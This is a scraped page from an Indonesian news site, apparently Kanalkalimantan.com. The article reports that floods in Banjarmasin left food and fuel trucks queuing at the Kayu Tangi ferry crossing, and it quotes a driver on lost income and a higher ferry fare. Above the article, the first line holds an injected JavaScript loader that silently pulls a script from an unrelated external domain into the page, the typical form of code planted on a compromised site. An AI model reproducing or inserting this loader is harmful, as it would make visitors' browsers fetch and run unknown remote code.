(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Banjir Sebabkan Antrean Truk Sembako dan BBM Mengular di Penyeberangan Kayu Tangi


KANALKALIMANTAN.COM, BANJARMASIN – Banjir yang masih menggenang di sejumlah wilayah di Banjarmasin berdampak pada lumpuhnya distribusi ekonomi. Antrean truk penyuplai barang tampak mengular yang saat ini masih terjebak di Kota Banjarmasin.

Dari pantauan Kanalkalimantan.com, terlihat panjangnya antrian truk penyuplai barang sembako dan truk tangki minyak di jalan Brigjend H. Hasan Basri. Deretan truk tersebut mengantre untuk menyeberang sungai dengan menggunakan fery. Panjangnya antrean ini dimulai dari samping jembatan Kayu Tangi yang sedang dibangun sampai di depan Hotel Pesona.

Jumadi (33), salah seorang sopir penyuplai barang sembako dari Banjarmasin ke Palangka Raya mengatakan, banjir yang terjadi saat ini sangat berdampak bagi aktivitasnya.

“Ya kami bisa apa lagi, cuma ini jalur satu-satunya yang bisa dilewati saat ini, mau lewat jalur Sungai Tabuk tapi kondisinya masih banjir, lewat jalur ini waktu banyak terbuang ditambah lagi harus bayar biaya fery sebesar Rp 360.000. Ini saja kami sudah mengantre dari sore kurang lebih jam 4, sampai sekarang masih belum bisa menyeberang, coba hitung saja berapa banyak kerugian yang harus kami tanggung,” ujarnya kepada Kanalkalimantan.com saat diwawancara malam tadi.

Dari info yang didapat dari para sopir, untuk fery penyebrangan itu dibuka mulai pada Sabtu (16/1/2021) Sedangkan untuk biayanya, mengalami kenaikan. Awalnya hanya Rp 200.000, tapi saat ini naik menjadi Rp 360.000.

Jumadi menyampaikan, kalau seperti ini terus untuk waktu yang berkepanjangan, maka penghasilan mereka akan berkurang banyak. Yang mana biasanya dalam dua hari sudah bisa pulang pergi menyuplai atau mengirim barang, sekarang bisa menjadi 3- 4 hari. Ini karena harus dua kali mengantri di penyeberangan.

“Kalau seperti ini terus maka rugi lah kami, mau kami tidak pergi bekerja tapi tidak ada pemasukan atau penghasilan, Lanjut bekerja tapi seperti ini keadaannya. Ya kami cuma berharap bencana ini bisa cepat berakhir jadi semuanya kembali normal, atau paling tidak untuk biaya penyeberangan diberi kebijakan, jangan seperti ini,” pungkasnya. (Kanalkalimantan/tius)

 

Reporter : Tius
Editor : Cell

 

 


Al Ghifari

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

4 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

4 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

4 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

7 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

13 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.